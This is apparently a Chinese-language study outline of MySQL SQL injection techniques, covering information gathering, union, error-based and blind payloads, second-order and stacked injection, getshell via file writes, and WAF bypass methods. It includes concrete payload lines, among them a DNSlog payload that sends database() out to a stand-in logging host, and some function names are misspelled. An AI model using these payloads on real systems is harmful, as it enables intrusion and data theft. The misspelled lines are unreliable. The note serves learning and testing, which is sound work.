本笔记出现的函数皆为mysql函数,其他数据库管理系统请自行对应查询
前置学习知识
信息收集
操作系统
@@version_compile_os
数据库名
database()
数据库用户
user()
数据库版本
version()
其他(网页的各级路径)
方法:配置文件获取,扫描工具获取(nmap)
还有其他不赘述
数据注入
低版本
利用工具配合字典暴力查询
高版本(mysql>5.1)
information_schema.tables 获取表
information_schema.columns 获取列
高权限注入
因为数据库中分为高低权限,高权限为管理员,可以查询的数据面更大。
常规查询
联合,报错,盲注等。正常的数据注入
跨库查询
在高权限的模式下,可以通过A数据库,查询B数据库的内容
文件读写
存在魔术引导
php自带的魔术引导,可以用编码或宽字节绕过
不存在魔术引导
直接写入getshell
相关防注入
魔术引导
高版本php没有,低版本的可以通过查询学习
内置函数
手工或工具绕过
自定义关键字
最好的情况是能获得源码进行白盒测试,如果不行只能靠大量数据堆砌。
WAF防护软件
可以下载软件进行学习,了解如何绕过
SQL注入
提交方式
GET
最常见的方式,url注入本质就是利用get
?id=1
POST
需要专门在post内填写数据,需要借用到抓包工具
username=1
COOKIE
专门在cookie内填写数据,需要用到抓包工具
cookie:username=1
request
该种方式可以以任何方式提交,都接受
HTTP
涉及到http头伪造,user-agent
查询方式
select
最基本的查询语句
insert
insert into ,是添加语句
delete
删除语句
update
数据更新语句
orderby
平常利用在判断数据库列数的语句
回显/盲注
回显注入
联合
union select
报错
and updataxml(1,“要获取的数据”,1)and txreactvalue(1,“要获取的数据”)
无回显
布尔盲注
and left(database(),1)>'r'第一个字符是否大于r
延时盲注
and if(ascii(substr(),1,1))>144,1,sleep(5))判断第一个字符asc值是否大于144,大于则延时5s
注入扩展
加解密注入
有时候在注入的时候,注入的时间会进行加密,那么我们就需要将我们的注入语句也进行相同加密才能注入成功。
JSON注入
和普通post注入一样,只是是使用json值装填数据
普通 unm=admin and 1=1
json json={"unm":"admin" and 1=1}
LADP注入
相比于sql注入,没有那么花里胡哨,百度了解即可
DNSlog注入
利用DNSlog平台配合注入,主要应对没有回显的注入点。
and (select load_file(concat('\\\\',(select database()),'.dnslog网址\\aaa')))--+
二次注入
通过两次注入来达到目的
例:
已知数据库内有admin账号
注入一个admin'#账号
利用修改密码修改admin账号密码,但因为有#注释符,可以无视掉需要后续输入正确密码的条件。
where unm='admin'#' and pswd='admin'
堆叠注入
利用可以多次读取sql代码的漏洞
?id=1;insert into 要注入的数据;
一般堆叠注入无法查询查询,但可以进行插入数据,或者导出数据。
中转注入
利用自行编写的php,调用到原网页,从而实现利用脚本文件辅助的作用。
WAF绕过
更改提交方式
大小写混合
解密编码类
注释符混用
等价函数替换
特殊符号混用
借助数据库特性
HTTP参数污染
垃圾数据溢出